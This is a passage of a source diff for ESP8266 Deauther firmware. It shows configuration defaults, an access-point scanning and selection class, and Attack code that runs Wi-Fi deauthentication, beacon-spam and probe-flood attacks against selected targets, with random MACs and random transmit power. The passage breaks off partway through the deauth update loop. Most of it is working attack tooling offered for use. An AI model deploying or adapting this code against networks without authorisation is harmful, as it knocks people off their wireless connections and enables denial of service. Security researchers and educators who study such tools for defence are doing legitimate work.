// ===== ACCESS POINT ===== //
#ifndef AP_SSID
#define AP_SSID "pwned"
#endif /* ifndef AP_SSID */
#ifndef AP_PASSWD
#define AP_PASSWD "deauther"
#endif /* ifndef AP_PASSWD */
#ifndef AP_HIDDEN
#define AP_HIDDEN false
#endif /* ifndef AP_HIDDEN */
#ifndef AP_IP_ADDR
#define AP_IP_ADDR { 192, 168, 4, 1 }
#endif /* ifndef AP_IP_ADDR */
// ===== WEB INTERFACE ===== //
#ifndef WEB_ENABLED
#define WEB_ENABLED true
#endif /* ifndef WEB_ENABLED */
#ifndef WEB_CAPTIVE_PORTAL
#define WEB_CAPTIVE_PORTAL false
#endif /* ifndef WEB_CAPTIVE_PORTAL */
#ifndef WEB_USE_SPIFFS
#define WEB_USE_SPIFFS false
#endif /* ifndef WEB_USE_SPIFFS */
#ifndef DEFAULT_LANG
#define DEFAULT_LANG "en"
#endif /* ifndef DEFAULT_LANG */
// ===== CLI ===== //
#ifndef CLI_ENABLED
#define CLI_ENABLED true
#endif /* ifndef CLI_ENABLED */
#ifndef CLI_ECHO
#define CLI_ECHO true
#endif /* ifndef CLI_ECHO */
// =============== LED =============== //
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
#define LED_NEOPIXEL
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define LED_DIGITAL
#define USE_LED false
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#define USE_LED true
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
#ifndef LED_PIN_R
#define LED_PIN_R 255
#endif /* ifndef LED_PIN_R */
#ifndef LED_PIN_G
#define LED_PIN_G 255
#endif /* ifndef LED_PIN_G */
#ifndef LED_PIN_B
#define LED_PIN_B 255
#endif /* ifndef LED_PIN_B */
#ifndef LED_ANODE
#define LED_ANODE false
#endif /* ifndef LED_ANODE */
#ifndef LED_MODE_OFF
#define LED_MODE_OFF 0, 0, 0
#endif /* ifndef LED_MODE_OFF */
#ifndef LED_MODE_SCAN
#define LED_MODE_SCAN 0, 0, 255
#endif /* ifndef LED_MODE_SCAN */
#ifndef LED_MODE_ATTACK
#define LED_MODE_ATTACK 255, 0, 0
#endif /* ifndef LED_MODE_ATTACK */
#ifndef LED_MODE_IDLE
#define LED_MODE_IDLE 0, 255, 0
#endif /* ifndef LED_MODE_IDLE */
#ifndef LED_MODE_BRIGHTNESS
#define LED_MODE_BRIGHTNESS 10
#endif /* ifndef LED_MODE_BRIGHTNESS */
// =============== DISPLAY =============== //
#ifndef DISPLAY_TIMEOUT
#define DISPLAY_TIMEOUT 600
#endif /* ifndef DISPLAY_TIMEOUT */
#ifndef DISPLAY_TEXT
#define DISPLAY_TEXT ""
#endif /* ifndef DISPLAY_TEXT */
#ifndef FLIP_DIPLAY
#define FLIP_DIPLAY false
#endif /* ifndef FLIP_DIPLAY */
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
#define SSD1306_I2C
#define USE_DISPLAY false
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#define USE_DISPLAY true
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
#ifndef I2C_ADDR
#define I2C_ADDR 0x3C
#endif /* ifndef I2C_ADDR */
#ifndef I2C_SDA
#define I2C_SDA 5
#endif /* ifndef I2C_SDA */
#ifndef I2C_SCL
#define I2C_SCL 4
#endif /* ifndef I2C_SCL */
#ifndef SPI_RES
#define SPI_RES 5
#endif /* ifndef SPI_RES */
#ifndef SPI_DC
#define SPI_DC 4
#endif /* ifndef SPI_DC */
#ifndef SPI_CS
#define SPI_CS 15
#endif /* ifndef SPI_CS */
// =============== BUTTONS =============== //
#ifndef BUTTON_UP
#define BUTTON_UP 255
#endif // ifndef BUTTON_UP
#ifndef BUTTON_DOWN
#define BUTTON_DOWN 255
#endif // ifndef BUTTON_DOWN
#ifndef BUTTON_A
#define BUTTON_A 255
#endif // ifndef BUTTON_A
#ifndef BUTTON_B
#define BUTTON_B 255
#endif // ifndef BUTTON_B
// ===== Reset ====== //
#ifndef RESET_BUTTON
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 0
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#define RESET_BUTTON 255
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
#endif // ifndef RESET_BUTTON
// ===== Web ===== //
#ifndef WEB_IP_ADDR
#define WEB_IP_ADDR (192, 168, 4, 1)
#endif // ifndef WEB_IP_ADDR
#ifndef WEB_URL
#define WEB_URL "deauth.me"
#endif // ifndef WEB_URL
// ======== CONSTANTS ========== //
// Do not change these values unless you know what you're doing!
#define DEAUTHER_VERSION "2.6.1"
#define DEAUTHER_VERSION_MAJOR 2
#define DEAUTHER_VERSION_MINOR 6
#define DEAUTHER_VERSION_REVISION 1
#define EEPROM_SIZE 4095
#define BOOT_COUNTER_ADDR 1
#define SETTINGS_ADDR 100
// ======== AVAILABLE SETTINGS ========== //
/*
// ===== ATTACK ===== //
#define ATTACK_ALL_CH false
#define RANDOM_TX false
#define ATTACK_TIMEOUT 600
#define DEAUTHS_PER_TARGET 25
#define DEAUTH_REASON 1
#define BEACON_INTERVAL_100MS true
#define PROBE_FRAMES_PER_SSID 1
// ====== SNIFFER ====== //
#define CH_TIME 200
#define MIN_DEAUTH_FRAMES 3
// ===== ACCESS POINT ===== //
#define AP_SSID "pwned"
#define AP_PASSWD "deauther"
#define AP_HIDDEN false
#define AP_IP_ADDR {192, 168, 4, 1}
// ===== WEB INTERFACE ===== //
#define WEB_ENABLED true
#define WEB_CAPTIVE_PORTAL false
#define WEB_USE_SPIFFS false
#define DEFAULT_LANG "en"
// ===== CLI ===== //
#define CLI_ENABLED true
#define CLI_ECHO true
// ===== LED ===== //
#define USE_LED true
#define LED_DIGITAL
#define LED_RGB
#define LED_NEOPIXEL
#define LED_MY92
#define LED_ANODE false
#define LED_PIN_R 16
#define LED_PIN_G 255
#define LED_PIN_B 2
#define LED_NEOPIXEL_RGB
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 255
#define LED_MODE_OFF 0,0,0
#define LED_MODE_SCAN 0,0,255
#define LED_MODE_ATTACK 255,0,0
#define LED_MODE_IDLE 0,255,0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
// ===== DISPLAY ===== //
#define USE_DISPLAY false
#define DISPLAY_TIMEOUT 600
#define FLIP_DIPLAY false
#define SSD1306_I2C
#define SSD1306_SPI
#define SH1106_I2C
#define SH1106_SPI
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// ===== BUTTONS ===== //
#define BUTTON_UP 255
#define BUTTON_DOWN 255
#define BUTTON_A 255
#define BUTTON_B 255
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 1)
#define WEB_URL "deauth.me"
*/
// ========== ERROR CHECKS ========== //
#if LED_MODE_BRIGHTNESS == 0
#error LED_MODE_BRIGHTNESS must not be zero!
#endif /* if LED_MODE_BRIGHTNESS == 0 */

View File

@ -1,262 +1,314 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Accesspoints.h"
Accesspoints::Accesspoints() {
list = new SimpleList<AP>;
list = new SimpleList<AP>;
}
void Accesspoints::sort() {
list->sort([](AP &a, AP &b) -> bool{
return WiFi.RSSI(a.id) < WiFi.RSSI(b.id);
});
changed = true;
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::sortAfterChannel() {
list->sort([](AP &a, AP &b) -> bool{
return WiFi.channel(a.id) > WiFi.channel(b.id);
});
changed = true;
list->setCompare([](AP& a, AP& b) -> int {
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
return 1;
});
list->sort();
changed = true;
}
void Accesspoints::add(uint8_t id, bool selected) {
list->add(AP{id, selected});
changed = true;
list->add(AP{ id, selected });
changed = true;
}
void Accesspoints::printAll() {
prntln(AP_HEADER);
int c = count();
if (c == 0)
prntln(AP_LIST_EMPTY);
else
for (int i = 0; i < c; i++)
print(i, i == 0, i == c - 1);
prntln(AP_HEADER);
int c = count();
if (c == 0) prntln(AP_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Accesspoints::printSelected() {
prntln(AP_HEADER);
int max = selected();
if (selected() == 0) {
prntln(AP_NO_AP_SELECTED);
return;
}
int c = count();
int j = 0;
for (int i = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
prntln(AP_HEADER);
int max = selected();
if (selected() == 0) {
prntln(AP_NO_AP_SELECTED);
return;
}
int c = count();
int j = 0;
for (int i = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
}
void Accesspoints::print(int num) {
print(num, true, true);
print(num, true, true);
}
void Accesspoints::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(AP_TABLE_HEADER);
prntln(AP_TABLE_DIVIDER);
}
prnt(buildString(String(),(String)num, 2));
prnt(buildString(String(SPACE) + getSSID(num), String(), 33));
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prnt(buildString(String(SPACE), (String)getRSSI(num), 5));
prnt(buildString(String(SPACE), getEncStr(num), 5));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) {
prntln(AP_TABLE_DIVIDER);
}
if (!check(num)) return;
if (header) {
prntln(AP_TABLE_HEADER);
prntln(AP_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
prnt(leftRight(String(SPACE), getEncStr(num), 5));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) {
prntln(AP_TABLE_DIVIDER);
}
}
String Accesspoints::getSSID(int num) {
if (!check(num)) return String();
if (getHidden(num)){
return str(AP_HIDDEN);
} else {
String ssid = WiFi.SSID(getID(num));
ssid = ssid.substring(0,32);
ssid = fixUtf8(ssid);
return ssid;
}
if (!check(num)) return String();
if (getHidden(num)) {
return str(AP_HIDDE_SSID);
} else {
String ssid = WiFi.SSID(getID(num));
ssid = ssid.substring(0, 32);
ssid = fixUtf8(ssid);
return ssid;
}
}
String Accesspoints::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
if (!check(num)) return String();
return names.find(getMac(num));
}
uint8_t Accesspoints::getCh(int num) {
if (!check(num)) return 0;
return WiFi.channel(getID(num));
if (!check(num)) return 0;
return WiFi.channel(getID(num));
}
int Accesspoints::getRSSI(int num) {
if (!check(num)) return 0;
return WiFi.RSSI(getID(num));
if (!check(num)) return 0;
return WiFi.RSSI(getID(num));
}
uint8_t Accesspoints::getEnc(int num) {
if (!check(num)) return 0;
return WiFi.encryptionType(getID(num));
if (!check(num)) return 0;
return WiFi.encryptionType(getID(num));
}
String Accesspoints::getEncStr(int num) {
if (!check(num)) return String();
switch (getEnc(num)) {
case ENC_TYPE_NONE:
return String(DASH);
break;
case ENC_TYPE_WEP:
return str(AP_WEP);
break;
case ENC_TYPE_TKIP:
return str(AP_WPA);
break;
case ENC_TYPE_CCMP:
return str(AP_WPA2);
break;
case ENC_TYPE_AUTO:
return str(AP_AUTO);
break;
}
return String(QUESTIONMARK);
if (!check(num)) return String();
switch (getEnc(num)) {
case ENC_TYPE_NONE:
return String(DASH);
break;
case ENC_TYPE_WEP:
return str(AP_WEP);
break;
case ENC_TYPE_TKIP:
return str(AP_WPA);
break;
case ENC_TYPE_CCMP:
return str(AP_WPA2);
break;
case ENC_TYPE_AUTO:
return str(AP_AUTO);
break;
}
return String(QUESTIONMARK);
}
String Accesspoints::getSelectedStr(int num) {
return b2a(getSelected(num));
return b2a(getSelected(num));
}
uint8_t* Accesspoints::getMac(int num) {
if (!check(num)) return 0;
return WiFi.BSSID(getID(num));
if (!check(num)) return 0;
return WiFi.BSSID(getID(num));
}
String Accesspoints::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Accesspoints::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(getMac(num));
if (!check(num)) return String();
return searchVendor(getMac(num));
}
bool Accesspoints::getHidden(int num) {
if (!check(num)) return false;
return WiFi.isHidden(getID(num));
if (!check(num)) return false;
return WiFi.isHidden(getID(num));
}
bool Accesspoints::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Accesspoints::getID(int num){
if (!check(num)) return -1;
return list->get(num).id;
uint8_t Accesspoints::getID(int num) {
if (!check(num)) return -1;
return list->get(num).id;
}
void Accesspoints::select(int num) {
if (!check(num)) return;
if (!check(num)) return;
internal_select(num);
prnt(AP_SELECTED);
prntln(getSSID(num));
changed = true;
internal_select(num);
prnt(AP_SELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::deselect(int num) {
if (!check(num)) return;
if (!check(num)) return;
internal_deselect(num);
prnt(AP_DESELECTED);
prntln(getSSID(num));
internal_deselect(num);
changed = true;
prnt(AP_DESELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::remove(int num) {
if (!check(num)) return;
prnt(AP_REMOVED);
prntln(getSSID(num));
if (!check(num)) return;
internal_remove(num);
changed = true;
prnt(AP_REMOVED);
prntln(getSSID(num));
internal_remove(num);
changed = true;
}
void Accesspoints::select(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
}
}
void Accesspoints::deselect(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
}
}
void Accesspoints::remove(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
}
}
void Accesspoints::selectAll() {
for(int i=0;i<count();i++)
list->replace(i,AP{list->get(i).id,true});
prntln(AP_SELECTED_ALL);
changed = true;
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
prntln(AP_SELECTED_ALL);
changed = true;
}
void Accesspoints::deselectAll() {
for(int i=0;i<count();i++)
list->replace(i,AP{list->get(i).id,false});
prntln(AP_DESELECTED_ALL);
changed = true;
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
prntln(AP_DESELECTED_ALL);
changed = true;
}
void Accesspoints::removeAll() {
while(count() > 0)
internal_remove(0);
prntln(AP_REMOVED_ALL);
changed = true;
while (count() > 0) internal_remove(0);
prntln(AP_REMOVED_ALL);
changed = true;
}
int Accesspoints::find(uint8_t id){
int s = list->size();
for(int i=0;i<s;i++){
if(list->get(i).id == id)
return i;
}
return -1;
int Accesspoints::find(uint8_t id) {
int s = list->size();
for (int i = 0; i < s; i++) {
if (list->get(i).id == id) return i;
}
return -1;
}
int Accesspoints::count() {
return list->size();
return list->size();
}
int Accesspoints::selected() {
return list->count([](AP &a)->bool{
return a.selected;
});
int c = 0;
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
return c;
}
bool Accesspoints::check(int num) {
if (internal_check(num)) return true;
prnt(AP_NO_AP_ERROR);
prntln((String)num);
return false;
if (internal_check(num)) return true;
prnt(AP_NO_AP_ERROR);
prntln((String)num);
return false;
}
bool Accesspoints::internal_check(int num) {
return num >= 0 && num < count();
return num >= 0 && num < count();
}
void Accesspoints::internal_select(int num) {
list->replace(num,AP{list->get(num).id,true});
list->replace(num, AP{ list->get(num).id, true });
}
void Accesspoints::internal_deselect(int num) {
list->replace(num,AP{list->get(num).id,false});
list->replace(num, AP{ list->get(num).id, false });
}
void Accesspoints::internal_remove(int num) {
list->remove(num);
}
list->remove(num);
}

View File

@ -1,5 +1,6 @@
#ifndef Accesspoints_h
#define Accesspoints_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
@ -13,66 +14,67 @@ extern "C" {
extern Names names;
extern String searchVendor(uint8_t* mac);
extern String buildString(String left, String right, int maxLen);
extern String leftRight(String a, String b, int len);
extern String fixUtf8(String str);
extern String bytesToStr(uint8_t* b, uint32_t size);
extern String bytesToStr(const uint8_t* b, uint32_t size);
struct AP{
uint8_t id;
bool selected;
struct AP {
uint8_t id;
bool selected;
};
class Accesspoints {
public:
Accesspoints();
void sort();
void sortAfterChannel();
void add(uint8_t id, bool selected);
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void deselect(int num);
void remove(int num);
public:
Accesspoints();
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
String getSSID(int num);
String getNameStr(int num);
String getEncStr(int num);
String getMacStr(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
uint8_t getEnc(int num);
uint8_t getID(int num);
int getRSSI(int num);
uint8_t* getMac(int num);
bool getHidden(int num);
bool getSelected(int num);
void sort();
void sortAfterChannel();
int find(uint8_t id);
int count();
int selected();
void add(uint8_t id, bool selected);
bool check(int num);
bool changed = false;
private:
SimpleList<AP>* list;
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_remove(int num);
};
void print(int num);
void print(int num, bool header, bool footer);
#endif
void select(int num);
void deselect(int num);
void remove(int num);
void select(String ssid);
void deselect(String ssid);
void remove(String ssid);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
String getSSID(int num);
String getNameStr(int num);
String getEncStr(int num);
String getMacStr(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
uint8_t getEnc(int num);
uint8_t getID(int num);
int getRSSI(int num);
uint8_t* getMac(int num);
bool getHidden(int num);
bool getSelected(int num);
int find(uint8_t id);
int count();
int selected();
bool check(int num);
bool changed = false;
private:
SimpleList<AP>* list;
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_remove(int num);
};

View File

@ -1,431 +1,473 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Attack.h"
#include "settings.h"
Attack::Attack() {
getRandomMac(mac);
getRandomMac(mac);
if (settings.getBeaconInterval()) {
// 1s beacon interval
beaconPacket[32] = 0xe8;
beaconPacket[33] = 0x03;
} else {
// 100ms beacon interval
beaconPacket[32] = 0x64;
beaconPacket[33] = 0x00;
}
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
// 1s beacon interval
beaconPacket[32] = 0xe8;
beaconPacket[33] = 0x03;
} else {
// 100ms beacon interval
beaconPacket[32] = 0x64;
beaconPacket[33] = 0x00;
}
deauth.time = currentTime;
beacon.time = currentTime;
probe.time = currentTime;
deauth.time = currentTime;
beacon.time = currentTime;
probe.time = currentTime;
}
void Attack::start() {
stop();
prntln(A_START);
attackTime = currentTime;
attackStartTime = currentTime;
accesspoints.sortAfterChannel();
stations.sortAfterChannel();
running = true;
stop();
prntln(A_START);
attackTime = currentTime;
attackStartTime = currentTime;
accesspoints.sortAfterChannel();
stations.sortAfterChannel();
running = true;
}
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
Attack::beacon.active = beacon;
Attack::deauth.active = deauth || deauthAll;
Attack::deauthAll = deauthAll;
Attack::probe.active = probe;
Attack::beacon.active = beacon;
Attack::deauth.active = deauth || deauthAll;
Attack::deauthAll = deauthAll;
Attack::probe.active = probe;
Attack::output = output;
Attack::timeout = timeout;
Attack::output = output;
Attack::timeout = timeout;
//if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){
if (beacon || probe || deauthAll || deauth) {
start();
} else {
prntln(A_NO_MODE_ERROR);
accesspoints.sort();
stations.sort();
stop();
}
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
// scan.countSelected() > 0)){
if (beacon || probe || deauthAll || deauth) {
start();
} else {
prntln(A_NO_MODE_ERROR);
accesspoints.sort();
stations.sort();
stop();
}
}
void Attack::stop() {
if (running) {
running = false;
deauthPkts = 0;
beaconPkts = 0;
probePkts = 0;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.maxPkts = 0;
beacon.maxPkts = 0;
probe.maxPkts = 0;
packetRate = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
prntln(A_STOP);
}
if (running) {
running = false;
deauthPkts = 0;
beaconPkts = 0;
probePkts = 0;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.maxPkts = 0;
beacon.maxPkts = 0;
probe.maxPkts = 0;
packetRate = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
deauth.active = false;
beacon.active = false;
probe.active = false;
prntln(A_STOP);
}
}
bool Attack::isRunning() {
return running;
return running;
}
void Attack::updateCounter() {
// stop when timeout is active and time is up
if (timeout > 0 && currentTime - attackStartTime >= timeout) {
prntln(A_TIMEOUT);
stop();
return;
}
// stop when timeout is active and time is up
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
prntln(A_TIMEOUT);
stop();
return;
}
// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.count() + stations.count()*2 - names.selected());
else deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.selected() + stations.selected()*2 + names.selected() + names.stations());
} else {
deauth.maxPkts = 0;
}
// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.count() + stations.count() * 2 - names.selected());
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
} else {
deauth.maxPkts = 0;
}
// beacon packets per second
if (beacon.active) {
beacon.maxPkts = ssids.count();
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
} else {
beacon.maxPkts = 0;
}
// beacon packets per second
if (beacon.active) {
beacon.maxPkts = ssids.count();
// probe packets per second
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
else probe.maxPkts = 0;
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
} else {
beacon.maxPkts = 0;
}
// random transmission power
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
else setOutputPower(20.5f);
// probe packets per second
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
else probe.maxPkts = 0;
// reset counters
deauthPkts = deauth.packetCounter;
beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
packetRate = tmpPacketRate;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
tmpPacketRate = 0;
// random transmission power
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
else setOutputPower(20.5f);
// reset counters
deauthPkts = deauth.packetCounter;
beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
packetRate = tmpPacketRate;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
tmpPacketRate = 0;
}
void Attack::status() {
char s[120];
sprintf(s, str(A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts);
prnt(String(s));
char s[120];
sprintf(s, str(
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
probe.maxPkts);
prnt(String(s));
}
String Attack::getStatusJSON() {
String json = String(OPEN_BRACKET); // [
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(packetRate); // 0
json += CLOSE_BRACKET; // ]
String json = String(OPEN_BRACKET); // [
return json;
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(packetRate); // 0
json += CLOSE_BRACKET; // ]
return json;
}
void Attack::update() {
if (!running || scan.isScanning()) return;
if (!running || scan.isScanning()) return;
apCount = accesspoints.count();
stCount = stations.count();
nCount = names.count();
// run/update all attacks
deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
apCount = accesspoints.count();
stCount = stations.count();
nCount = names.count();
// each second
if (currentTime - attackTime > 1000) {
attackTime = currentTime; // update time
updateCounter();
if (output) status(); // status update
getRandomMac(mac); // generate new random mac
}
// run/update all attacks
deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
// each second
if (currentTime - attackTime > 1000) {
attackTime = currentTime; // update time
updateCounter();
if (output) status(); // status update
getRandomMac(mac); // generate new random mac
}
}
void Attack::deauthUpdate() {
if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if (apCount > 0 && deauth.tc < apCount) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
if (stations.getSelected(deauth.tc - apCount)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
if (stations.getSelected(deauth.tc - apCount)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if (nCount > 0 && deauth.tc >= apCount + stCount && deauth.tc < nCount + stCount + apCount) {
if (names.getSelected(deauth.tc - stCount - apCount)) {
deauth.tc += deauthName(deauth.tc - stCount - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
if (names.getSelected(deauth.tc - stCount - apCount)) {
deauth.tc += deauthName(deauth.tc - stCount - apCount);
} else deauth.tc++;
}
// reset counter
